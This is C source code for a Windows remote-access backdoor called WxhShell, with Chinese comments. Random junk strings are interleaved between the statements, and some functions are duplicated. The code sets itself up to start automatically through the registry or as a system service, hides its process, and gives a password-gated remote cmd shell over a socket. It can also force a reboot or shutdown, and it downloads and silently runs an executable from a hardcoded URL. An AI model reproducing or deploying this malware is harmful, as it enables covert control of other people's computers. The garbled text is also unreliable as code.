H static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; / FA0(< -} KJN{p~Q HANDLE hProcess; e'1}5Ky PROCESS_BASIC_INFORMATION pbi; Ra^GbT|Z S(h+,+289 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \>r<z46x if(NULL == hInst ) return 0; %v 1NDhaXz 53X5&Bwh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ':_1z5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &\/p5RX NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UqsX@jL! [5TGCGxP{ if (!NtQueryInformationProcess) return 0; \v[?4[ YVB\9{H? hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NU$?BiB?R if(!hProcess) return 0; 8^6dK ^K
n{L if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xdd;!HK, C.oC@P CloseHandle(hProcess); u.L{3gkT uO;_T/^u hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T_*R^Ukb5 if(hProcess==NULL) return 0; $oU40HA)W] {9*k \d/; HMODULE hMod; @`Foy char procName[255]; ]-G10p}Ph- unsigned long cbNeeded; !L_\6;aP,x [`Dv# if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .3yxg}E>{ kA%"-$3 CloseHandle(hProcess); CP!>V:w%9! $d_%7 xx if(strstr(procName,"services")) return 1; // 以服务启动 {P@OV1 +Q6}kbDI return 0; // 注册表启动 XhEd9># } ;;g'C*_ j^'op|l // 主模块 /K<.$B8 int StartWxhshell(LPSTR lpCmdLine) UuvI?D { LU4k/ SOCKET wsl; }hd:avze BOOL val=TRUE; c>nXnN int port=0; NRgNW1# struct sockaddr_in door; fd}
Ul N++jI( if(wscfg.ws_autoins) Install(); P(#by{s 7Ta",S@m port=atoi(lpCmdLine); 8rx"D`{| OfSHZ;, if(port<=0) port=wscfg.ws_port; bhWH V"{+cPBO) WSADATA data; dy%#E2f if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ApxGrCu R<jt$--H if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; UBy<
vwnU setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PA(XdT{ door.sin_family = AF_INET; sHSD`mYq door.sin_addr.s_addr = inet_addr("127.0.0.1"); ``p()^zT door.sin_port = htons(port); g-Y2U}& %8a886;2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HX77XTy closesocket(wsl); !K~:crUV|S return 1; `pzXh0}| } [j]3='2}G M{ mdh\ if(listen(wsl,2) == INVALID_SOCKET) { r-];@ closesocket(wsl); &eHhj9 return 1; ~Yw`w2 } NlS/PWc6( Wxhshell(wsl); B8'e,9 WSACleanup(); ]'2;6%.4 lnk`D(>W return 0; N=QeeAI}}m DFKumw>! } ?!:$Z4G $\
0d9^)& // 以NT服务方式启动 "#a_--"k9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m6
)s X& { 9{;cp?\)M DWORD status = 0; VQQtxHTC3 DWORD specificError = 0xfffffff; K38A;=t9 v&NC` dVR serviceStatus.dwServiceType = SERVICE_WIN32; ^ MUSq( serviceStatus.dwCurrentState = SERVICE_START_PENDING; #=G[~m\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $H9+>Z0( serviceStatus.dwWin32ExitCode = 0; *hP9d;-Ar serviceStatus.dwServiceSpecificExitCode = 0; 4\.1phe$a serviceStatus.dwCheckPoint = 0; wap@q6fz< serviceStatus.dwWaitHint = 0; TfYXF`d ;!JI$_-\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ){PL6|5x if (hServiceStatusHandle==0) return; 9D2}heTN a19yw]hF5 status = GetLastError(); @C]Q;>^| if (status!=NO_ERROR) c3X'Sv { \Qh{uk[ serviceStatus.dwCurrentState = SERVICE_STOPPED; thYG1Cs serviceStatus.dwCheckPoint = 0; bF#* cH serviceStatus.dwWaitHint = 0; ]ZQ3|ZJ?< serviceStatus.dwWin32ExitCode = status; D ]H@Sx serviceStatus.dwServiceSpecificExitCode = specificError; N6"b
OxJ( SetServiceStatus(hServiceStatusHandle, &serviceStatus); |hp_<F9. return; q"|,HpQ } (o!v,=# 6{ t(O{IUYM serviceStatus.dwCurrentState = SERVICE_RUNNING; fgs){Ng` serviceStatus.dwCheckPoint = 0; :
"|M serviceStatus.dwWaitHint = 0; x-Kq=LFy. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8E m X } _%M5
T u}eqU% // 处理NT服务事件,比如:启动、停止 TTS.wBpR, VOID WINAPI NTServiceHandler(DWORD fdwControl) Mpfdl65 { QJL%J switch(fdwControl) /kl41gx { y~.k-b<{[ case SERVICE_CONTROL_STOP: ,cbCt serviceStatus.dwWin32ExitCode = 0; vo9DmW serviceStatus.dwCurrentState = SERVICE_STOPPED; ~nQv
yM!$ serviceStatus.dwCheckPoint = 0; }r}$8M+1 serviceStatus.dwWaitHint = 0; .Ulrv5wJ { y"Fp4$qb SetServiceStatus(hServiceStatusHandle, &serviceStatus); CCCd=s. } *}pl return; uM!$`JN case SERVICE_CONTROL_PAUSE: 5'JONw'\ serviceStatus.dwCurrentState = SERVICE_PAUSED; Z/#&c break; ~i)m(65: case SERVICE_CONTROL_CONTINUE: Uxla,CCp- serviceStatus.dwCurrentState = SERVICE_RUNNING; 82S?@%}#J break; 5pF4{Jd1 case SERVICE_CONTROL_INTERROGATE: pvCf4pf~ break; ?-40bb }; }ze,6T*z SetServiceStatus(hServiceStatusHandle, &serviceStatus); g_kR5Wxpt } v8
Q/DJ~ y\=(;]S' // 标准应用程序主函数 Xz,-' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AS 5\X.%L* { aR3R,6ec YL(7l|^! // 获取操作系统版本 s:_M+_7_ OsIsNt=GetOsVer(); 5Ocd2T' GetModuleFileName(NULL,ExeFile,MAX_PATH); mlIX>ss|7B G+k[. // 从命令行安装 "A_,Ga if(strpbrk(lpCmdLine,"iI")) Install(); <78]OZ] Z + 9vd(c // 下载执行文件 wv.FL$f[@ if(wscfg.ws_downexe) { 1ga-8&! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yc./:t1at> WinExec(wscfg.ws_filenam,SW_HIDE); t`PA85.|d } !$ $|zB% 64qm if(!OsIsNt) { \,:3bY_d // 如果时win9x,隐藏进程并且设置为注册表启动 OYcf+p"<\ HideProc(); RYU(z;+0p StartWxhshell(lpCmdLine); Dj=OUo[[d } 3|$>2IRq else 1!u}~E_ if(StartFromService()) ',?9\xEB // 以服务方式启动 Q
o}&2m StartServiceCtrlDispatcher(DispatchTable); e-$U .cx else q3+G // 普通方式启动 0_Gi1) StartWxhshell(lpCmdLine); +f{CfWIKs . '3&!#3 return 0; JNQiCK,)}M } l `D>h2] [kdt]+'+ F-!,U)
,@+7(W =========================================== NGl/F{< TW2OT } MA\^<x_?L} 71AR)6<R ;D Mv?-H yN*HIN " E,6(/`0H* >Ab>"!/'K #include <stdio.h> DqgYc[UGA #include <string.h> yo)a_rY #include <windows.h> Of)EBa<5^ #include <winsock2.h> v 4@=>L #include <winsvc.h> 1<hj3 #include <urlmon.h> 8&15kA . &dh7`l #pragma comment (lib, "Ws2_32.lib") 2o0.ttBAqZ #pragma comment (lib, "urlmon.lib") 0\G`AO;D V=<OV]0 #define MAX_USER 100 // 最大客户端连接数 zYf`o0U #define BUF_SOCK 200 // sock buffer u{0'"jVJ #define KEY_BUFF 255 // 输入 buffer 5):2;h k }-3|
v<d #define REBOOT 0 // 重启 mQRQ2SN6 #define SHUTDOWN 1 // 关机 C-@ -4P2 2 #define DEF_PORT 5000 // 监听端口 _pu G?p =>
.EDL. #define REG_LEN 16 // 注册表键长度 a6K1-SR^6) #define SVC_LEN 80 // NT服务名长度 "=l<%em ld~8g, // 从dll定义API 19)fN-0Z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q6Q;9 , typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9N(<OY+Dgm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dq/ _#&S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %B^nQbNDM <V P@# // wxhshell配置信息 |yE_M-Nc struct WSCFG { F...>%N$ int ws_port; // 监听端口 xPa>-N=* char ws_passstr[REG_LEN]; // 口令 {^TV Zdw int ws_autoins; // 安装标记, 1=yes 0=no Pb0+z=L char ws_regname[REG_LEN]; // 注册表键名 8'=8!V char ws_svcname[REG_LEN]; // 服务名 z7+y{-{Z char ws_svcdisp[SVC_LEN]; // 服务显示名 5t6!K?} char ws_svcdesc[SVC_LEN]; // 服务描述信息 PV?XpT char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \>0F{-cR$ int ws_downexe; // 下载执行标记, 1=yes 0=no m?;aTSa char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lp\89tB> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K*uFqdLL! zx7*Bnu0 }; V1R=` vF, !8e'v // default Wxhshell configuration w$J0/eX{A struct WSCFG wscfg={DEF_PORT, &*TwEN^h "xuhuanlingzhe", ^H'zS3S 1,
S5:`fo^5 "Wxhshell", 5MJ`B:He+ "Wxhshell", owA3>E5t& "WxhShell Service", jd;=5(2 "Wrsky Windows CmdShell Service", MRvtuE|g "Please Input Your Password: ", Lu&2^USTO 1, 6[BQx)7T "http://www.wrsky.com/wxhshell.exe", lhm=(7Y "Wxhshell.exe" 1nh2()QI[ }; /ZAS%_as ;EP]A3 // 消息定义模块 t0Q/vp*/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n50XGv char *msg_ws_prompt="\n\r? for help\n\r#>"; ^ri?eKy.-g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q_Td!?2? char *msg_ws_ext="\n\rExit."; s MAc+9G9k char *msg_ws_end="\n\rQuit."; WXj}gL` char *msg_ws_boot="\n\rReboot..."; 0*^)n&O char *msg_ws_poff="\n\rShutdown..."; z^
+CD- char *msg_ws_down="\n\rSave to "; Wt+aW iqCKVo7:M char *msg_ws_err="\n\rErr!"; <Vp7G%"'W char *msg_ws_ok="\n\rOK!"; 4ew|5Zex.~ Z(AI]wk3< char ExeFile[MAX_PATH]; zECdj'/ int nUser = 0; a
pqzf HANDLE handles[MAX_USER]; uV<I!jyI int OsIsNt; GW$(E*4q <Gzy*1Q& SERVICE_STATUS serviceStatus; 4%O*2JAw SERVICE_STATUS_HANDLE hServiceStatusHandle; ]X+3" TDg#O!DUF // 函数声明 E)|_7x<u int Install(void); hd1H int Uninstall(void); KU[eY} int DownloadFile(char *sURL, SOCKET wsh); bL5z%bV int Boot(int flag); lpkg(J#& void HideProc(void); "iE9X.6NMu int GetOsVer(void); sqHvrI int Wxhshell(SOCKET wsl); >jAr9Blz] void TalkWithClient(void *cs); \sFdp!M}2 int CmdShell(SOCKET sock); +v%V1lf^~ int StartFromService(void); ABEC{3fWpu int StartWxhshell(LPSTR lpCmdLine); DG1
>T z<rdxn,9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C,C%1
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UwY <3ul zmy94Y5PE // 数据结构和表定义 i%H_ua SERVICE_TABLE_ENTRY DispatchTable[] = Okca6=2" { u4B, |_MK {wscfg.ws_svcname, NTServiceMain}, 6\4ny 0 {NULL, NULL} Q17"hO>kC }; +NPk9jn vOsd>3" // 自我安装 O
z%K* int Install(void) %a+X\\v2 { )'\Jp
7*3 char svExeFile[MAX_PATH]; _lb ^ HKEY key;
qEKTSet? strcpy(svExeFile,ExeFile); S{j|("W"[ m}0US;c#f // 如果是win9x系统,修改注册表设为自启动 I.tJ4 if(!OsIsNt) { +O3zeL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PaV [{CD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )F&@ M;2p' RegCloseKey(key); (6z^m?t? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7P9n.
[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S5d:?^PGg RegCloseKey(key); bv0B return 0; 8rXq-V_u } .%`|vGF } @/yRE^c } (w]w
2&YD else { %([$v6y JU:!lyd // 如果是NT以上系统,安装为系统服务 ;_K+b, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ];6c/#2x if (schSCManager!=0) g}IdU;X$NT { HKq 2X4J$ SC_HANDLE schService = CreateService UT [7 J ( MLY19 ;e schSCManager, shxr^ wscfg.ws_svcname, +,7dj:0S wscfg.ws_svcdisp, 5. :To2 SERVICE_ALL_ACCESS, -'JTVfm. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Rp A76ug SERVICE_AUTO_START, [6 wI22 SERVICE_ERROR_NORMAL, qLKyr@\' svExeFile, PqPLy NULL, ]l+Bg;F#V NULL, 66D<Up'K NULL, = Ii@-C NULL, D/V.o}X$ NULL J[YA1 ); y4VCehdJ
if (schService!=0) lZ0+:DaP2 { p]`pUw{ CloseServiceHandle(schService); 3k;U#H CloseServiceHandle(schSCManager); ,.]e~O4R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Sn.I
]:l strcat(svExeFile,wscfg.ws_svcname); "+_]N9%) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A/{pG#if]3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ro@Zbm;P RegCloseKey(key); jCW>=1:JGY return 0; Yp 6;Y7^ } ^K@r!)We } 'e3y| CloseServiceHandle(schSCManager); >1pD'UZIy7 } l4U& CA y } Q+mMpI Sx;zvc return 1; R|V<2 } ol!o8M%Q dtA- 4Ndm // 自我卸载 J}jK_ int Uninstall(void) .~v~~VL1NS { rctn0*MP HKEY key; n ^n'lgUT `Kym{og if(!OsIsNt) { {Hp?rY@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JsnavI6 RegDeleteValue(key,wscfg.ws_regname); F1M@$S, RegCloseKey(key); #Yw^n?~~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { enG6T RegDeleteValue(key,wscfg.ws_regname); pal))e!B RegCloseKey(key); ^l$(- #'y return 0; H7Y}qP5X } x ?^c:`. } &=H M}h } M|n)LyL else { )V@qH] `}zv17wp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dC( 6s=4 if (schSCManager!=0) *}/xy
SH3 { 7[D0n7B@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `t6lnO if (schService!=0) S
BFhC { @lTUag'U0 if(DeleteService(schService)!=0) { cYbO)?mC_ CloseServiceHandle(schService); T^sxR4F CloseServiceHandle(schSCManager); {_q2kk return 0; o8s&n3mY}y }
}rO4b>J CloseServiceHandle(schService); U">OdoZ,E+ } ZM|>Va/X CloseServiceHandle(schSCManager); kk~{2 } 50I6:=@\\ } 3_h%g$04s aLsGden| return 1; *kKGsy } k&~vVx QlXy9-oJ" // 从指定url下载文件 e<p$Op int DownloadFile(char *sURL, SOCKET wsh) (vI7qD_ { kBONP^xI HRESULT hr; wR;l"*j char seps[]= "/"; Z(<ul<?r char *token; gIRCJ=e[b char *file; ,7QnZ=F char myURL[MAX_PATH]; 3R{-\ZMd char myFILE[MAX_PATH]; Xs!eV B"qG-ci strcpy(myURL,sURL); #zy%B token=strtok(myURL,seps); `3+U6>U [ while(token!=NULL) JBwTmOvQ { `Ch6"=t file=token; :?p{ga9 token=strtok(NULL,seps); 5G!X4%a } djSN{>S @"~\[z5 GetCurrentDirectory(MAX_PATH,myFILE); 5sE^MS1 strcat(myFILE, "\\"); HAiUFO/R strcat(myFILE, file); p/:5bvA send(wsh,myFILE,strlen(myFILE),0); Y{O&-5H^| send(wsh,"...",3,0); NRl"!FSD;" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A]J^{h0k if(hr==S_OK) O[`Ob6Q{F return 0; */\.-L{h else H,I}R return 1; x:bYd\
EJ[ 7&QVw(:)M } $YC~02{ n (|>7 // 系统电源模块 p']AXJ`Z int Boot(int flag) e56#Qb@$\ { J{Ay( HANDLE hToken; 7*5ctc!dG TOKEN_PRIVILEGES tkp; OMZT\$9yT UQ8x#(`ak if(OsIsNt) { x3P@AC$\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N\fT6#5B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q)~qd$yMS tkp.PrivilegeCount = 1; }ot _k- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t#q>U%! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K+}Z6_: if(flag==REBOOT) { IF:M_
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '-vyQ^ return 0; d"78:+ } gfYB|VyWo else { :9#`|#uh if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $ {+.1"/[ return 0; ]/bE${W*] } H6I #Xj } 4yA`);r62 else { LnDj if(flag==REBOOT) { sfV.X:ev if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) </X"*G't return 0; 6ZR0_v;TD } (*ng$zZ$ else { OeYLL4H if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vo$66A return 0; 8x"d/D } =#tQIhX` } kut|A 5avO48;Vc return 1; _p&$X } M@ kZ(Rkv j 7URg>i0 // win9x进程隐藏模块 }#8uXA void HideProc(void) uE j6A { kKM%
6\;1<Sw* HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \DqxS=o; if ( hKernel != NULL ) JNaW>X$K { Bs?F*,zDJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [MS.5+1Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QNXxpoS# FreeLibrary(hKernel); gN(hv.nQ } MPbPq3an m;f?}z_\$ return; pXv[]v } kW&Z%k ap^=CEf // 获取操作系统版本 >8fH5 int GetOsVer(void) 0@lC5-= { v4_OUA>z, OSVERSIONINFO winfo; f9UaAdJ( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #<Nvy9 GetVersionEx(&winfo); HY;?z`= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]Cn*C{ return 1; ~[TKVjyO else 2j7d$y*' return 0; %:KV2GP } 4oV_b"xz~ |7zP8 // 客户端句柄模块 7/_ VE int Wxhshell(SOCKET wsl) { $/Fk6qr { Gr$*t,ZW SOCKET wsh; h5rP]dbhXU struct sockaddr_in client; v\(m"|4(i DWORD myID; xeM':hD.o MW$H/:3 while(nUser<MAX_USER) ASZ5;N4u { 6'Yn|A int nSize=sizeof(client); QYfAf3te wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H!r
Kz if(wsh==INVALID_SOCKET) return 1; #r.` V!= w2N3+Tkg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xPMyG); if(handles[nUser]==0) iW1ih QX closesocket(wsh); N~;
khS] else mERrcY Y{ nUser++; ;%7XU~<a } O
{6gNR,* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MIlCUk 207 O["Y return 0; BQ9`DYI b } Mj
B<\g> J'ZFIT_> // 关闭 socket YNC0Z'c9 void CloseIt(SOCKET wsh) KtUGI.X { R_>TEYZ closesocket(wsh); >!Ap/{2 nUser--; Md>f ExitThread(0); AO}i@YJth } w
<#*O: ?$J7%I@ // 客户端请求句柄 "T{~,'T void TalkWithClient(void *cs) -S,ir { \'?? p_5>?[TW: SOCKET wsh=(SOCKET)cs; u1;e*ty char pwd[SVC_LEN]; _7=pw5[ char cmd[KEY_BUFF]; *]m kyAhi char chr[1]; *{.&R9#7U' int i,j; l|vWeBs ^3WIl] while (nUser < MAX_USER) { ST:
v3* qX
p,d if(wscfg.ws_passstr) { Fp5NRM*-! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )&Kn(l) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;WvYzd9 //ZeroMemory(pwd,KEY_BUFF); ti{H(;;@ i=0; })zB". while(i<SVC_LEN) { kJurUDo ''(fH$pY // 设置超时 'HQ7
|Je fd_set FdRead; |D;"D struct timeval TimeOut; \3Q:K| FD_ZERO(&FdRead); V#gF*]q FD_SET(wsh,&FdRead); {+C %D' TimeOut.tv_sec=8; ^_*jp[!`b$ TimeOut.tv_usec=0; r,u<y_YW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *R_'$+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[+;FV!M6 (#j2P0B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e8d5(e pwd=chr[0]; Z:_m}Ya| if(chr[0]==0xd || chr[0]==0xa) { + ZR( pwd=0; _W@,@hOH break; +CnyK(V } +A8=R%&b)[ i++; -+3be(u } (orrX Ez l zfD)TWb // 如果是非法用户,关闭 socket =bs.2aN&^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *[d~Nk%Y$ } `e'G.@ T!u'V'Ei2 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \6`v.B&v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); js:C
mnI )"(V*Z while(1) { c;c:Ea5 x @1px&^ ZeroMemory(cmd,KEY_BUFF); 5TXg;v#Z eaV3)uP // 自动支持客户端 telnet标准 PHQ{-b?4t j=0; H|PrsGW while(j<KEY_BUFF) { |7rR99 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3C277nx cmd[j]=chr[0]; [ 3$.* if(chr[0]==0xa || chr[0]==0xd) { M*d-z cmd[j]=0; L7SEswMti break; )-0[ra] } q<-%L1kc1 j++; e{,!|LhpQ } |'ZN!2u :&Qb>PH[ // 下载文件 "Jb3&qdU if(strstr(cmd,"http://")) { |WB"=PE send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3H1Pp*PH if(DownloadFile(cmd,wsh)) E;9Z\?P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'eqiYY| else ,/~[S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O[; +i } >OT\~C else { a lrt*V|=
ir]Mn.(Y switch(cmd[0]) { aIQOs G]b8]3^ // 帮助 Z*9L'd"D| case '?': { [d}qG#N send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Aa[?2 O break; ~
9=27p } p:B
]Ft // 安装 F@9Y\. , case 'i': { +Z > < if(Install()) |Td_S|:d send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:UA<&=s else |B
eA== send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5lO^;.cS, break; vEF=e } Khj=llo, // 卸载 *.8JP case 'r': { e|VJ9|;3 if(Uninstall()) d]MGN^%o send(wsh,msg_ws_err,strlen(msg_ws_err),0); +I&J7ICV0 else > =Jsv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9<v}LeX break; 0rcjorWI } HM):" // 显示 wxhshell 所在路径 P])L8zK case 'p': { lcCJ?!lsSW char svExeFile[MAX_PATH]; +5-]iKh strcpy(svExeFile,"\n\r"); l]$40 j strcat(svExeFile,ExeFile); vb
%T7 send(wsh,svExeFile,strlen(svExeFile),0); LP ,9<&"< break; M\dO({o } EX4
C.C|d // 重启 E3f9<hm case 'b': { *qG$19b send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qC..\{z if(Boot(REBOOT)) ~5ubh2{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); n26>>N else { D
M}s0O$0 closesocket(wsh); { V0>iN:~S ExitThread(0); UQ~4c, } XCm\z9F break; 2 h<U } V!xwb:J // 关机 $3 4j6;oN case 'd': { 0I
@$ 0Gg send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H}
6CKP} if(Boot(SHUTDOWN)) |!Fk2Je, send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]`d2_mu else { (zC
closesocket(wsh); (z2Z)_6L*L ExitThread(0); &bLC(e] } 6- ]h5L] break; uY;R8CiD } 1ef'7a7e8 // 获取shell ~ezCu_ case 's': { 4V$fGjJ3 CmdShell(wsh); J$QBI&D closesocket(wsh); ik5|,#}m& ExitThread(0); ;v_V+t<$ break; `hzrfum4 } wbi3lH:; // 退出 5m7b\Mak case 'x': { ax_YKJ5#P send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~@Kf2dHes CloseIt(wsh); 6IP$n($2 break; 9tk" :ld } *d>vR1 // 离开 K%gP5>y*9> case 'q': { .oR3Q/|k] send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2]2H++ closesocket(wsh); iCrxV{ WSACleanup(); M4?8xuC exit(1); 62kb2C break; 8Z# 21X> } jK3\K/ob( } n3ZAF' } J#aVo&.Y U-EhPAB@ // 提示信息 }+0z,s~0. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U=cWmH } I4D<WoU;dJ } Nfw YDY '7tBvVO_ return; 73
V"s } |pW\Ec#( VVuR+=.& // shell模块句柄 |nY~ZVTt/ int CmdShell(SOCKET sock) =_PvrB 2' { )X5(#E STARTUPINFO si; ll<mE, ZeroMemory(&si,sizeof(si)); J`oTes, si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )a cV-+{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6E|S PROCESS_INFORMATION ProcessInfo; IU!Ht> char cmdline[]="cmd"; <I2z& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _k2w(ew? return 0; J%Mnjk^_\S } ;%zC@a~{ ;h~er6& // 自身启动模式 % fhNxR int StartFromService(void) X:=c5*0e { 8S
U% typedef struct )q3"t2- { 5~r2sCDPk DWORD ExitStatus; ^8K/xo- DWORD PebBaseAddress; - k`.j DWORD AffinityMask; -BhTkoN) DWORD BasePriority; Do*n#= ULONG UniqueProcessId; U7H9/<&o ULONG InheritedFromUniqueProcessId; Acu@[I^ } PROCESS_BASIC_INFORMATION; 8eyl,W=dn lS9n@ PROCNTQSIP NtQueryInformationProcess; Gvx[8I z"379b7cN static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &erm`Ho static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8;n_TMb )`?%]D HANDLE hProcess; zY%. Rq- PROCESS_BASIC_INFORMATION pbi;
%}b8aG+ ebM{OI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0=![fjm
if(NULL == hInst ) return 0; <z) E(J\ >Ko[Xb-8^_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ngUHkpYS5 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *%A}x NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); : F9|&q-W, m,tXE%l if (!NtQueryInformationProcess) return 0; h$fe -G# L`3n2DEBf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $YM_G=k if(!hProcess) return 0; ([LIjaoi u$\a3yi if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EW(J5/mn _T*AC. CloseHandle(hProcess); (?Q|s, 3,6Ox45 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K=\&+at1 if(hProcess==NULL) return 0; ZkWL_ H) J@#?@0]F HMODULE hMod; j
